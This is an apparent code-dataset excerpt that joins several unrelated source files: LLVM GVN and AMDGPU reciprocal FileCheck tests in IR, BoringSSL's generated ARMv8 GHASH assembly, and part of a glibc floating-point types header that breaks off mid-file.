define i8 @coerce_mustalias_pre0(i32* %P, i1 %cond) {
%P3 = bitcast i32* %P to i8*
br i1 %cond, label %T, label %F
T:
store i32 42, i32* %P
br label %Cont
F:
br label %Cont
Cont:
%A = load i8* %P3
ret i8 %A
; CHECK-LABEL: @coerce_mustalias_pre0(
; CHECK: F:
; CHECK: load i8* %P3
; CHECK: Cont:
; CHECK: %A = phi i8 [
; CHECK-NOT: load
; CHECK: ret i8 %A
}
;;===----------------------------------------------------------------------===;;
;; Store -> Load and Load -> Load forwarding where src and dst are different
;; types, and the reload is an offset from the store pointer.
;;===----------------------------------------------------------------------===;;
;; i32 -> i8 forwarding.
;; PR4216
define i8 @coerce_offset0(i32 %V, i32* %P) {
store i32 %V, i32* %P
%P2 = bitcast i32* %P to i8*
%P3 = getelementptr i8* %P2, i32 2
%A = load i8* %P3
ret i8 %A
; CHECK-LABEL: @coerce_offset0(
; CHECK-NOT: load
; CHECK: ret i8
}
;; non-local i32/float -> i8 load forwarding.
define i8 @coerce_offset_nonlocal0(i32* %P, i1 %cond) {
%P2 = bitcast i32* %P to float*
%P3 = bitcast i32* %P to i8*
%P4 = getelementptr i8* %P3, i32 2
br i1 %cond, label %T, label %F
T:
store i32 57005, i32* %P
br label %Cont
F:
store float 1.0, float* %P2
br label %Cont
Cont:
%A = load i8* %P4
ret i8 %A
; CHECK-LABEL: @coerce_offset_nonlocal0(
; CHECK: Cont:
; CHECK: %A = phi i8 [
; CHECK-NOT: load
; CHECK: ret i8 %A
}
;; non-local i32 -> i8 partial redundancy load forwarding.
define i8 @coerce_offset_pre0(i32* %P, i1 %cond) {
%P3 = bitcast i32* %P to i8*
%P4 = getelementptr i8* %P3, i32 2
br i1 %cond, label %T, label %F
T:
store i32 42, i32* %P
br label %Cont
F:
br label %Cont
Cont:
%A = load i8* %P4
ret i8 %A
; CHECK-LABEL: @coerce_offset_pre0(
; CHECK: F:
; CHECK: load i8* %P4
; CHECK: Cont:
; CHECK: %A = phi i8 [
; CHECK-NOT: load
; CHECK: ret i8 %A
}
define i32 @chained_load(i32** %p, i32 %x, i32 %y) {
block1:
%A = alloca i32*
%z = load i32** %p
store i32* %z, i32** %A
%cmp = icmp eq i32 %x, %y
br i1 %cmp, label %block2, label %block3
block2:
%a = load i32** %p
br label %block4
block3:
%b = load i32** %p
br label %block4
block4:
%c = load i32** %p
%d = load i32* %c
ret i32 %d
; CHECK-LABEL: @chained_load(
; CHECK: %z = load i32** %p
; CHECK-NOT: load
; CHECK: %d = load i32* %z
; CHECK-NEXT: ret i32 %d
}
declare i1 @cond() readonly
declare i1 @cond2() readonly
define i32 @phi_trans2() {
; CHECK-LABEL: @phi_trans2(
entry:
%P = alloca i32, i32 400
br label %F1
F1:
%A = phi i32 [1, %entry], [2, %F]
%cond2 = call i1 @cond()
br i1 %cond2, label %T1, label %TY
T1:
%P2 = getelementptr i32* %P, i32 %A
%x = load i32* %P2
%cond = call i1 @cond2()
br i1 %cond, label %TX, label %F
F:
%P3 = getelementptr i32* %P, i32 2
store i32 17, i32* %P3
store i32 42, i32* %P2 ; Provides "P[A]".
br label %F1
TX:
; This load should not be compiled to 'ret i32 42'. An overly clever
; implementation of GVN would see that we're returning 17 if the loop
; executes once or 42 if it executes more than that, but we'd have to do
; loop restructuring to expose this, and GVN shouldn't do this sort of CFG
; transformation.
; CHECK: TX:
; CHECK: ret i32 %x
ret i32 %x
TY:
ret i32 0
}
define i32 @phi_trans3(i32* %p, i32 %x, i32 %y, i32 %z) {
; CHECK-LABEL: @phi_trans3(
block1:
%cmpxy = icmp eq i32 %x, %y
br i1 %cmpxy, label %block2, label %block3
block2:
store i32 87, i32* %p
br label %block4
block3:
%p2 = getelementptr i32* %p, i32 43
store i32 97, i32* %p2
br label %block4
block4:
%A = phi i32 [-1, %block2], [42, %block3]
br i1 %cmpxy, label %block5, label %exit
; CHECK: block4:
; CHECK-NEXT: %D = phi i32 [ 87, %block2 ], [ 97, %block3 ]
; CHECK-NOT: load
block5:
%B = add i32 %A, 1
br i1 %cmpxy, label %block6, label %exit
block6:
%C = getelementptr i32* %p, i32 %B
br i1 %cmpxy, label %block7, label %exit
block7:
%D = load i32* %C
ret i32 %D
; CHECK: block7:
; CHECK-NEXT: ret i32 %D
exit:
ret i32 -1
}
define i8 @phi_trans4(i8* %p) {
; CHECK-LABEL: @phi_trans4(
entry:
%X3 = getelementptr i8* %p, i32 192
store i8 192, i8* %X3
%X = getelementptr i8* %p, i32 4
%Y = load i8* %X
br label %loop
loop:
%i = phi i32 [4, %entry], [192, %loop]
%X2 = getelementptr i8* %p, i32 %i
%Y2 = load i8* %X2
; CHECK: loop:
; CHECK-NEXT: %Y2 = phi i8 [ %Y, %entry ], [ 0, %loop ]
; CHECK-NOT: load i8
%cond = call i1 @cond2()
%Z = bitcast i8 *%X3 to i32*
store i32 0, i32* %Z
br i1 %cond, label %loop, label %out
out:
%R = add i8 %Y, %Y2
ret i8 %R
}
define i8 @phi_trans5(i8* %p) {
; CHECK-LABEL: @phi_trans5(
entry:
%X4 = getelementptr i8* %p, i32 2
store i8 19, i8* %X4
%X = getelementptr i8* %p, i32 4
%Y = load i8* %X
br label %loop
loop:
%i = phi i32 [4, %entry], [3, %cont]
%X2 = getelementptr i8* %p, i32 %i
%Y2 = load i8* %X2 ; Ensure this load is not being incorrectly replaced.
%cond = call i1 @cond2()
br i1 %cond, label %cont, label %out
cont:
%Z = getelementptr i8* %X2, i32 -1
%Z2 = bitcast i8 *%Z to i32*
store i32 50462976, i32* %Z2 ;; (1 << 8) | (2 << 16) | (3 << 24)
; CHECK: store i32
; CHECK-NEXT: getelementptr i8* %p, i32 3
; CHECK-NEXT: load i8*
br label %loop
out:
%R = add i8 %Y, %Y2
ret i8 %R
}
; PR6642
define i32 @memset_to_load() nounwind readnone {
entry:
%x = alloca [256 x i32], align 4 ; <[256 x i32]*> [#uses=2]
%tmp = bitcast [256 x i32]* %x to i8* ; <i8*> [#uses=1]
call void @llvm.memset.p0i8.i64(i8* %tmp, i8 0, i64 1024, i32 4, i1 false)
%arraydecay = getelementptr inbounds [256 x i32]* %x, i32 0, i32 0 ; <i32*>
%tmp1 = load i32* %arraydecay ; <i32> [#uses=1]
ret i32 %tmp1
; CHECK-LABEL: @memset_to_load(
; CHECK: ret i32 0
}
;;===----------------------------------------------------------------------===;;
;; Load -> Load forwarding in partial alias case.
;;===----------------------------------------------------------------------===;;
define i32 @load_load_partial_alias(i8* %P) nounwind ssp {
entry:
%0 = bitcast i8* %P to i32*
%tmp2 = load i32* %0
%add.ptr = getelementptr inbounds i8* %P, i64 1
%tmp5 = load i8* %add.ptr
%conv = zext i8 %tmp5 to i32
%add = add nsw i32 %tmp2, %conv
ret i32 %add
; TEMPORARILYDISABLED-LABEL: @load_load_partial_alias(
; TEMPORARILYDISABLED: load i32*
; TEMPORARILYDISABLED-NOT: load
; TEMPORARILYDISABLED: lshr i32 {{.*}}, 8
; TEMPORARILYDISABLED-NOT: load
; TEMPORARILYDISABLED: trunc i32 {{.*}} to i8
; TEMPORARILYDISABLED-NOT: load
; TEMPORARILYDISABLED: ret i32
}
; Cross block partial alias case.
define i32 @load_load_partial_alias_cross_block(i8* %P) nounwind ssp {
entry:
%xx = bitcast i8* %P to i32*
%x1 = load i32* %xx, align 4
%cmp = icmp eq i32 %x1, 127
br i1 %cmp, label %land.lhs.true, label %if.end
land.lhs.true: ; preds = %entry
%arrayidx4 = getelementptr inbounds i8* %P, i64 1
%tmp5 = load i8* %arrayidx4, align 1
%conv6 = zext i8 %tmp5 to i32
ret i32 %conv6
if.end:
ret i32 52
; TEMPORARILY_DISABLED-LABEL: @load_load_partial_alias_cross_block(
; TEMPORARILY_DISABLED: land.lhs.true:
; TEMPORARILY_DISABLED-NOT: load i8
; TEMPORARILY_DISABLED: ret i32 %conv6
}
;;===----------------------------------------------------------------------===;;
;; Load Widening
;;===----------------------------------------------------------------------===;;
%widening1 = type { i32, i8, i8, i8, i8 }
@f = global %widening1 zeroinitializer, align 4
define i32 @test_widening1(i8* %P) nounwind ssp noredzone {
entry:
%tmp = load i8* getelementptr inbounds (%widening1* @f, i64 0, i32 1), align 4
%conv = zext i8 %tmp to i32
%tmp1 = load i8* getelementptr inbounds (%widening1* @f, i64 0, i32 2), align 1
%conv2 = zext i8 %tmp1 to i32
%add = add nsw i32 %conv, %conv2
ret i32 %add
; CHECK-LABEL: @test_widening1(
; CHECK-NOT: load
; CHECK: load i16*
; CHECK-NOT: load
; CHECK: ret i32
}
define i32 @test_widening2() nounwind ssp noredzone {
entry:
%tmp = load i8* getelementptr inbounds (%widening1* @f, i64 0, i32 1), align 4
%conv = zext i8 %tmp to i32
%tmp1 = load i8* getelementptr inbounds (%widening1* @f, i64 0, i32 2), align 1
%conv2 = zext i8 %tmp1 to i32
%add = add nsw i32 %conv, %conv2
%tmp2 = load i8* getelementptr inbounds (%widening1* @f, i64 0, i32 3), align 2
%conv3 = zext i8 %tmp2 to i32
%add2 = add nsw i32 %add, %conv3
%tmp3 = load i8* getelementptr inbounds (%widening1* @f, i64 0, i32 4), align 1
%conv4 = zext i8 %tmp3 to i32
%add3 = add nsw i32 %add2, %conv3
ret i32 %add3
; CHECK-LABEL: @test_widening2(
; CHECK-NOT: load
; CHECK: load i32*
; CHECK-NOT: load
; CHECK: ret i32
}
declare void @llvm.memset.p0i8.i64(i8* nocapture, i8, i64, i32, i1) nounwind
declare void @llvm.memcpy.p0i8.p0i8.i64(i8* nocapture, i8* nocapture, i64, i32, i1) nounwind
declare void @llvm.memcpy.p0i8.p1i8.i64(i8* nocapture, i8 addrspace(1)* nocapture, i64, i32, i1) nounwind
;;===----------------------------------------------------------------------===;;
;; Load -> Store dependency which isn't interfered with by a call that happens
;; before the pointer was captured.
;;===----------------------------------------------------------------------===;;
%class.X = type { [8 x i8] }
@_ZTV1X = weak_odr constant [5 x i8*] zeroinitializer
@_ZTV1Y = weak_odr constant [5 x i8*] zeroinitializer
declare void @use()
declare void @use3(i8***, i8**)
; PR8908
define void @test_escape1() nounwind {
%x = alloca i8**, align 8
store i8** getelementptr inbounds ([5 x i8*]* @_ZTV1X, i64 0, i64 2), i8*** %x, align 8
call void @use() nounwind
%DEAD = load i8*** %x, align 8
call void @use3(i8*** %x, i8** %DEAD) nounwind
ret void
; CHECK: test_escape1
; CHECK-NOT: DEAD
; CHECK: ret
}
|
{
"language": "Assembly"
}
|
; RUN: llc -march=amdgcn -verify-machineinstrs < %s | FileCheck -check-prefix=SI -check-prefix=FUNC %s
declare float @llvm.amdgcn.rcp.f32(float) #0
declare double @llvm.amdgcn.rcp.f64(double) #0
declare double @llvm.sqrt.f64(double) #0
declare float @llvm.sqrt.f32(float) #0
; FUNC-LABEL: {{^}}rcp_undef_f32:
; SI-NOT: v_rcp_f32
define amdgpu_kernel void @rcp_undef_f32(float addrspace(1)* %out) #1 {
%rcp = call float @llvm.amdgcn.rcp.f32(float undef)
store float %rcp, float addrspace(1)* %out, align 4
ret void
}
; FUNC-LABEL: {{^}}rcp_2_f32:
; SI-NOT: v_rcp_f32
; SI: v_mov_b32_e32 v{{[0-9]+}}, 0.5
define amdgpu_kernel void @rcp_2_f32(float addrspace(1)* %out) #1 {
%rcp = call float @llvm.amdgcn.rcp.f32(float 2.0)
store float %rcp, float addrspace(1)* %out, align 4
ret void
}
; FUNC-LABEL: {{^}}rcp_10_f32:
; SI-NOT: v_rcp_f32
; SI: v_mov_b32_e32 v{{[0-9]+}}, 0x3dcccccd
define amdgpu_kernel void @rcp_10_f32(float addrspace(1)* %out) #1 {
%rcp = call float @llvm.amdgcn.rcp.f32(float 10.0)
store float %rcp, float addrspace(1)* %out, align 4
ret void
}
; FUNC-LABEL: {{^}}safe_no_fp32_denormals_rcp_f32:
; SI: v_rcp_f32_e32 [[RESULT:v[0-9]+]], s{{[0-9]+}}
; SI-NOT: [[RESULT]]
; SI: buffer_store_dword [[RESULT]]
define amdgpu_kernel void @safe_no_fp32_denormals_rcp_f32(float addrspace(1)* %out, float %src) #1 {
%rcp = fdiv float 1.0, %src
store float %rcp, float addrspace(1)* %out, align 4
ret void
}
; FUNC-LABEL: {{^}}safe_f32_denormals_rcp_pat_f32:
; SI: v_rcp_f32_e32 [[RESULT:v[0-9]+]], s{{[0-9]+}}
; SI-NOT: [[RESULT]]
; SI: buffer_store_dword [[RESULT]]
define amdgpu_kernel void @safe_f32_denormals_rcp_pat_f32(float addrspace(1)* %out, float %src) #4 {
%rcp = fdiv float 1.0, %src
store float %rcp, float addrspace(1)* %out, align 4
ret void
}
; FUNC-LABEL: {{^}}unsafe_f32_denormals_rcp_pat_f32:
; SI: v_div_scale_f32
define amdgpu_kernel void @unsafe_f32_denormals_rcp_pat_f32(float addrspace(1)* %out, float %src) #3 {
%rcp = fdiv float 1.0, %src
store float %rcp, float addrspace(1)* %out, align 4
ret void
}
; FUNC-LABEL: {{^}}safe_rsq_rcp_pat_f32:
; SI: v_sqrt_f32_e32
; SI: v_rcp_f32_e32
define amdgpu_kernel void @safe_rsq_rcp_pat_f32(float addrspace(1)* %out, float %src) #1 {
%sqrt = call float @llvm.sqrt.f32(float %src)
%rcp = call float @llvm.amdgcn.rcp.f32(float %sqrt)
store float %rcp, float addrspace(1)* %out, align 4
ret void
}
; FUNC-LABEL: {{^}}unsafe_rsq_rcp_pat_f32:
; SI: v_rsq_f32_e32
define amdgpu_kernel void @unsafe_rsq_rcp_pat_f32(float addrspace(1)* %out, float %src) #2 {
%sqrt = call float @llvm.sqrt.f32(float %src)
%rcp = call float @llvm.amdgcn.rcp.f32(float %sqrt)
store float %rcp, float addrspace(1)* %out, align 4
ret void
}
; FUNC-LABEL: {{^}}rcp_f64:
; SI: v_rcp_f64_e32 [[RESULT:v\[[0-9]+:[0-9]+\]]], s{{\[[0-9]+:[0-9]+\]}}
; SI-NOT: [[RESULT]]
; SI: buffer_store_dwordx2 [[RESULT]]
define amdgpu_kernel void @rcp_f64(double addrspace(1)* %out, double %src) #1 {
%rcp = call double @llvm.amdgcn.rcp.f64(double %src)
store double %rcp, double addrspace(1)* %out, align 8
ret void
}
; FUNC-LABEL: {{^}}unsafe_rcp_f64:
; SI: v_rcp_f64_e32 [[RESULT:v\[[0-9]+:[0-9]+\]]], s{{\[[0-9]+:[0-9]+\]}}
; SI-NOT: [[RESULT]]
; SI: buffer_store_dwordx2 [[RESULT]]
define amdgpu_kernel void @unsafe_rcp_f64(double addrspace(1)* %out, double %src) #2 {
%rcp = call double @llvm.amdgcn.rcp.f64(double %src)
store double %rcp, double addrspace(1)* %out, align 8
ret void
}
; FUNC-LABEL: {{^}}rcp_pat_f64:
; SI: v_div_scale_f64
define amdgpu_kernel void @rcp_pat_f64(double addrspace(1)* %out, double %src) #1 {
%rcp = fdiv double 1.0, %src
store double %rcp, double addrspace(1)* %out, align 8
ret void
}
; FUNC-LABEL: {{^}}unsafe_rcp_pat_f64:
; SI: v_rcp_f64_e32 [[RESULT:v\[[0-9]+:[0-9]+\]]], s{{\[[0-9]+:[0-9]+\]}}
; SI-NOT: [[RESULT]]
; SI: buffer_store_dwordx2 [[RESULT]]
define amdgpu_kernel void @unsafe_rcp_pat_f64(double addrspace(1)* %out, double %src) #2 {
%rcp = fdiv double 1.0, %src
store double %rcp, double addrspace(1)* %out, align 8
ret void
}
; FUNC-LABEL: {{^}}safe_rsq_rcp_pat_f64:
; SI-NOT: v_rsq_f64_e32
; SI: v_sqrt_f64
; SI: v_rcp_f64
define amdgpu_kernel void @safe_rsq_rcp_pat_f64(double addrspace(1)* %out, double %src) #1 {
%sqrt = call double @llvm.sqrt.f64(double %src)
%rcp = call double @llvm.amdgcn.rcp.f64(double %sqrt)
store double %rcp, double addrspace(1)* %out, align 8
ret void
}
; FUNC-LABEL: {{^}}unsafe_rsq_rcp_pat_f64:
; SI: v_rsq_f64_e32 [[RESULT:v\[[0-9]+:[0-9]+\]]], s{{\[[0-9]+:[0-9]+\]}}
; SI-NOT: [[RESULT]]
; SI: buffer_store_dwordx2 [[RESULT]]
define amdgpu_kernel void @unsafe_rsq_rcp_pat_f64(double addrspace(1)* %out, double %src) #2 {
%sqrt = call double @llvm.sqrt.f64(double %src)
%rcp = call double @llvm.amdgcn.rcp.f64(double %sqrt)
store double %rcp, double addrspace(1)* %out, align 8
ret void
}
attributes #0 = { nounwind readnone }
attributes #1 = { nounwind "unsafe-fp-math"="false" "target-features"="-fp32-denormals" }
attributes #2 = { nounwind "unsafe-fp-math"="true" "target-features"="-fp32-denormals" }
attributes #3 = { nounwind "unsafe-fp-math"="false" "target-features"="+fp32-denormals" }
attributes #4 = { nounwind "unsafe-fp-math"="true" "target-features"="+fp32-denormals" }
|
{
"language": "Assembly"
}
|
#define BORINGSSL_PREFIX CCryptoBoringSSL
#if defined(__arm__) && defined(__linux__)
// This file is generated from a similarly-named Perl script in the BoringSSL
// source tree. Do not edit by hand.
#if !defined(__has_feature)
#define __has_feature(x) 0
#endif
#if __has_feature(memory_sanitizer) && !defined(OPENSSL_NO_ASM)
#define OPENSSL_NO_ASM
#endif
#if !defined(OPENSSL_NO_ASM)
#if defined(__arm__)
#if defined(BORINGSSL_PREFIX)
#include <CCryptoBoringSSL_boringssl_prefix_symbols_asm.h>
#endif
#include <CCryptoBoringSSL_arm_arch.h>
.text
.fpu neon
.code 32
#undef __thumb2__
.globl gcm_init_v8
.hidden gcm_init_v8
.type gcm_init_v8,%function
.align 4
gcm_init_v8:
vld1.64 {q9},[r1] @ load input H
vmov.i8 q11,#0xe1
vshl.i64 q11,q11,#57 @ 0xc2.0
vext.8 q3,q9,q9,#8
vshr.u64 q10,q11,#63
vdup.32 q9,d18[1]
vext.8 q8,q10,q11,#8 @ t0=0xc2....01
vshr.u64 q10,q3,#63
vshr.s32 q9,q9,#31 @ broadcast carry bit
vand q10,q10,q8
vshl.i64 q3,q3,#1
vext.8 q10,q10,q10,#8
vand q8,q8,q9
vorr q3,q3,q10 @ H<<<=1
veor q12,q3,q8 @ twisted H
vst1.64 {q12},[r0]! @ store Htable[0]
@ calculate H^2
vext.8 q8,q12,q12,#8 @ Karatsuba pre-processing
.byte 0xa8,0x0e,0xa8,0xf2 @ pmull q0,q12,q12
veor q8,q8,q12
.byte 0xa9,0x4e,0xa9,0xf2 @ pmull2 q2,q12,q12
.byte 0xa0,0x2e,0xa0,0xf2 @ pmull q1,q8,q8
vext.8 q9,q0,q2,#8 @ Karatsuba post-processing
veor q10,q0,q2
veor q1,q1,q9
veor q1,q1,q10
.byte 0x26,0x4e,0xe0,0xf2 @ pmull q10,q0,q11 @ 1st phase
vmov d4,d3 @ Xh|Xm - 256-bit result
vmov d3,d0 @ Xm is rotated Xl
veor q0,q1,q10
vext.8 q10,q0,q0,#8 @ 2nd phase
.byte 0x26,0x0e,0xa0,0xf2 @ pmull q0,q0,q11
veor q10,q10,q2
veor q14,q0,q10
vext.8 q9,q14,q14,#8 @ Karatsuba pre-processing
veor q9,q9,q14
vext.8 q13,q8,q9,#8 @ pack Karatsuba pre-processed
vst1.64 {q13,q14},[r0] @ store Htable[1..2]
bx lr
.size gcm_init_v8,.-gcm_init_v8
.globl gcm_gmult_v8
.hidden gcm_gmult_v8
.type gcm_gmult_v8,%function
.align 4
gcm_gmult_v8:
vld1.64 {q9},[r0] @ load Xi
vmov.i8 q11,#0xe1
vld1.64 {q12,q13},[r1] @ load twisted H, ...
vshl.u64 q11,q11,#57
#ifndef __ARMEB__
vrev64.8 q9,q9
#endif
vext.8 q3,q9,q9,#8
.byte 0x86,0x0e,0xa8,0xf2 @ pmull q0,q12,q3 @ H.lo·Xi.lo
veor q9,q9,q3 @ Karatsuba pre-processing
.byte 0x87,0x4e,0xa9,0xf2 @ pmull2 q2,q12,q3 @ H.hi·Xi.hi
.byte 0xa2,0x2e,0xaa,0xf2 @ pmull q1,q13,q9 @ (H.lo+H.hi)·(Xi.lo+Xi.hi)
vext.8 q9,q0,q2,#8 @ Karatsuba post-processing
veor q10,q0,q2
veor q1,q1,q9
veor q1,q1,q10
.byte 0x26,0x4e,0xe0,0xf2 @ pmull q10,q0,q11 @ 1st phase of reduction
vmov d4,d3 @ Xh|Xm - 256-bit result
vmov d3,d0 @ Xm is rotated Xl
veor q0,q1,q10
vext.8 q10,q0,q0,#8 @ 2nd phase of reduction
.byte 0x26,0x0e,0xa0,0xf2 @ pmull q0,q0,q11
veor q10,q10,q2
veor q0,q0,q10
#ifndef __ARMEB__
vrev64.8 q0,q0
#endif
vext.8 q0,q0,q0,#8
vst1.64 {q0},[r0] @ write out Xi
bx lr
.size gcm_gmult_v8,.-gcm_gmult_v8
.globl gcm_ghash_v8
.hidden gcm_ghash_v8
.type gcm_ghash_v8,%function
.align 4
gcm_ghash_v8:
vstmdb sp!,{d8,d9,d10,d11,d12,d13,d14,d15} @ 32-bit ABI says so
vld1.64 {q0},[r0] @ load [rotated] Xi
@ "[rotated]" means that
@ loaded value would have
@ to be rotated in order to
@ make it appear as in
@ algorithm specification
subs r3,r3,#32 @ see if r3 is 32 or larger
mov r12,#16 @ r12 is used as post-
@ increment for input pointer;
@ as loop is modulo-scheduled
@ r12 is zeroed just in time
@ to preclude overstepping
@ inp[len], which means that
@ last block[s] are actually
@ loaded twice, but last
@ copy is not processed
vld1.64 {q12,q13},[r1]! @ load twisted H, ..., H^2
vmov.i8 q11,#0xe1
vld1.64 {q14},[r1]
moveq r12,#0 @ is it time to zero r12?
vext.8 q0,q0,q0,#8 @ rotate Xi
vld1.64 {q8},[r2]! @ load [rotated] I[0]
vshl.u64 q11,q11,#57 @ compose 0xc2.0 constant
#ifndef __ARMEB__
vrev64.8 q8,q8
vrev64.8 q0,q0
#endif
vext.8 q3,q8,q8,#8 @ rotate I[0]
blo .Lodd_tail_v8 @ r3 was less than 32
vld1.64 {q9},[r2],r12 @ load [rotated] I[1]
#ifndef __ARMEB__
vrev64.8 q9,q9
#endif
vext.8 q7,q9,q9,#8
veor q3,q3,q0 @ I[i]^=Xi
.byte 0x8e,0x8e,0xa8,0xf2 @ pmull q4,q12,q7 @ H·Ii+1
veor q9,q9,q7 @ Karatsuba pre-processing
.byte 0x8f,0xce,0xa9,0xf2 @ pmull2 q6,q12,q7
b .Loop_mod2x_v8
.align 4
.Loop_mod2x_v8:
vext.8 q10,q3,q3,#8
subs r3,r3,#32 @ is there more data?
.byte 0x86,0x0e,0xac,0xf2 @ pmull q0,q14,q3 @ H^2.lo·Xi.lo
movlo r12,#0 @ is it time to zero r12?
.byte 0xa2,0xae,0xaa,0xf2 @ pmull q5,q13,q9
veor q10,q10,q3 @ Karatsuba pre-processing
.byte 0x87,0x4e,0xad,0xf2 @ pmull2 q2,q14,q3 @ H^2.hi·Xi.hi
veor q0,q0,q4 @ accumulate
.byte 0xa5,0x2e,0xab,0xf2 @ pmull2 q1,q13,q10 @ (H^2.lo+H^2.hi)·(Xi.lo+Xi.hi)
vld1.64 {q8},[r2],r12 @ load [rotated] I[i+2]
veor q2,q2,q6
moveq r12,#0 @ is it time to zero r12?
veor q1,q1,q5
vext.8 q9,q0,q2,#8 @ Karatsuba post-processing
veor q10,q0,q2
veor q1,q1,q9
vld1.64 {q9},[r2],r12 @ load [rotated] I[i+3]
#ifndef __ARMEB__
vrev64.8 q8,q8
#endif
veor q1,q1,q10
.byte 0x26,0x4e,0xe0,0xf2 @ pmull q10,q0,q11 @ 1st phase of reduction
#ifndef __ARMEB__
vrev64.8 q9,q9
#endif
vmov d4,d3 @ Xh|Xm - 256-bit result
vmov d3,d0 @ Xm is rotated Xl
vext.8 q7,q9,q9,#8
vext.8 q3,q8,q8,#8
veor q0,q1,q10
.byte 0x8e,0x8e,0xa8,0xf2 @ pmull q4,q12,q7 @ H·Ii+1
veor q3,q3,q2 @ accumulate q3 early
vext.8 q10,q0,q0,#8 @ 2nd phase of reduction
.byte 0x26,0x0e,0xa0,0xf2 @ pmull q0,q0,q11
veor q3,q3,q10
veor q9,q9,q7 @ Karatsuba pre-processing
veor q3,q3,q0
.byte 0x8f,0xce,0xa9,0xf2 @ pmull2 q6,q12,q7
bhs .Loop_mod2x_v8 @ there was at least 32 more bytes
veor q2,q2,q10
vext.8 q3,q8,q8,#8 @ re-construct q3
adds r3,r3,#32 @ re-construct r3
veor q0,q0,q2 @ re-construct q0
beq .Ldone_v8 @ is r3 zero?
.Lodd_tail_v8:
vext.8 q10,q0,q0,#8
veor q3,q3,q0 @ inp^=Xi
veor q9,q8,q10 @ q9 is rotated inp^Xi
.byte 0x86,0x0e,0xa8,0xf2 @ pmull q0,q12,q3 @ H.lo·Xi.lo
veor q9,q9,q3 @ Karatsuba pre-processing
.byte 0x87,0x4e,0xa9,0xf2 @ pmull2 q2,q12,q3 @ H.hi·Xi.hi
.byte 0xa2,0x2e,0xaa,0xf2 @ pmull q1,q13,q9 @ (H.lo+H.hi)·(Xi.lo+Xi.hi)
vext.8 q9,q0,q2,#8 @ Karatsuba post-processing
veor q10,q0,q2
veor q1,q1,q9
veor q1,q1,q10
.byte 0x26,0x4e,0xe0,0xf2 @ pmull q10,q0,q11 @ 1st phase of reduction
vmov d4,d3 @ Xh|Xm - 256-bit result
vmov d3,d0 @ Xm is rotated Xl
veor q0,q1,q10
vext.8 q10,q0,q0,#8 @ 2nd phase of reduction
.byte 0x26,0x0e,0xa0,0xf2 @ pmull q0,q0,q11
veor q10,q10,q2
veor q0,q0,q10
.Ldone_v8:
#ifndef __ARMEB__
vrev64.8 q0,q0
#endif
vext.8 q0,q0,q0,#8
vst1.64 {q0},[r0] @ write out Xi
vldmia sp!,{d8,d9,d10,d11,d12,d13,d14,d15} @ 32-bit ABI says so
bx lr
.size gcm_ghash_v8,.-gcm_ghash_v8
.byte 71,72,65,83,72,32,102,111,114,32,65,82,77,118,56,44,32,67,82,89,80,84,79,71,65,77,83,32,98,121,32,60,97,112,112,114,111,64,111,112,101,110,115,115,108,46,111,114,103,62,0
.align 2
.align 2
#endif
#endif // !OPENSSL_NO_ASM
.section .note.GNU-stack,"",%progbits
#endif // defined(__arm__) && defined(__linux__)
#if defined(__linux__) && defined(__ELF__)
.section .note.GNU-stack,"",%progbits
#endif
|
{
"language": "Assembly"
}
|
/* Macros to control TS 18661-3 glibc features where the same
definitions are appropriate for all platforms.
Copyright (C) 2017-2020 Free Software Foundation, Inc.
This file is part of the GNU C Library.
The GNU C Library is free software; you can redistribute it and/or
modify it under the terms of the GNU Lesser General Public
License as published by the Free Software Foundation; either
version 2.1 of the License, or (at your option) any later version.
The GNU C Library is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
Lesser General Public License for more details.
You should have received a copy of the GNU Lesser General Public
License along with the GNU C Library; if not, see
<https://www.gnu.org/licenses/>. */
#ifndef _BITS_FLOATN_COMMON_H
#define _BITS_FLOATN_COMMON_H
#include <features.h>
#include <bits/long-double.h>
/* This header should be included at the bottom of each bits/floatn.h.
It defines the following macros for each _FloatN and _FloatNx type,
where the same definitions, or definitions based only on the macros
in bits/floatn.h, are appropriate for all glibc configurations. */
/* Defined to 1 if the current compiler invocation provides a
floating-point type with the right format for this type, and this
glibc includes corresponding *fN or *fNx interfaces for it. */
#define __HAVE_FLOAT16 0
#define __HAVE_FLOAT32 1
#define __HAVE_FLOAT64 1
#define __HAVE_FLOAT32X 1
#define __HAVE_FLOAT128X 0
/* Defined to 1 if the corresponding __HAVE_<type> macro is 1 and the
type is the first with its format in the sequence of (the default
choices for) float, double, long double, _Float16, _Float32,
_Float64, _Float128, _Float32x, _Float64x, _Float128x for this
glibc; that is, if functions present once per floating-point format
rather than once per type are present for this type.
All configurations supported by glibc have _Float32 the same format
as float, _Float64 and _Float32x the same format as double, the
_Float64x the same format as either long double or _Float128. No
configurations support _Float128x or, as of GCC 7, have compiler
support for a type meeting the requirements for _Float128x. */
#define __HAVE_DISTINCT_FLOAT16 __HAVE_FLOAT16
#define __HAVE_DISTINCT_FLOAT32 0
#define __HAVE_DISTINCT_FLOAT64 0
#define __HAVE_DISTINCT_FLOAT32X 0
#define __HAVE_DISTINCT_FLOAT64X 0
#define __HAVE_DISTINCT_FLOAT128X __HAVE_FLOAT128X
/* Defined to 1 if the corresponding _FloatN type is not binary compatible
with the corresponding ISO C type in the current compilation unit as
opposed to __HAVE_DISTINCT_FLOATN, which indicates the default types built
in glibc. */
#define __HAVE_FLOAT128_UNLIKE_LDBL (__HAVE_DISTINCT_FLOAT128 \
&& __LDBL_MANT_DIG__ != 113)
/* Defined to 1 if any _FloatN or _FloatNx types that are not
ABI-distinct are however distinct types at the C language level (so
for the purposes of __builtin_types_compatible_p and _Generic). */
#if __GNUC_PREREQ (7, 0) && !defined __cplusplus
# define __HAVE_FLOATN_NOT_TYPEDEF 1
#else
# define __HAVE_FLOATN_NOT_TYPEDEF 0
#endif
#ifndef __ASSEMBLER__
/* Defined to concatenate the literal suffix to be used with _FloatN
or _FloatNx types, if __HAVE_<type> is 1. The corresponding
literal suffixes exist since GCC 7, for C only. */
# if __HAVE_FLOAT16
# if !__GNUC_PREREQ (7, 0) || defined __cplusplus
/* No corresponding suffix available for this type. */
# define __f16(x) ((_Float16) x##f)
# else
# define __f16(x) x##f16
# endif
# endif
# if __HAVE_FLOAT32
# if !__GNUC_PREREQ (7, 0) || defined __cplusplus
# define __f32(x) x##f
# else
# define __f32(x) x##f32
# endif
# endif
# if __HAVE_FLOAT64
# if !__GNUC_PREREQ (7, 0) || defined __cplusplus
# ifdef __NO_LONG_DOUBLE_MATH
# define __f64(x) x##l
# else
# define __f64(x) x
# endif
# else
# define __f64(x) x##f64
# endif
# endif
# if __HAVE_FLOAT32X
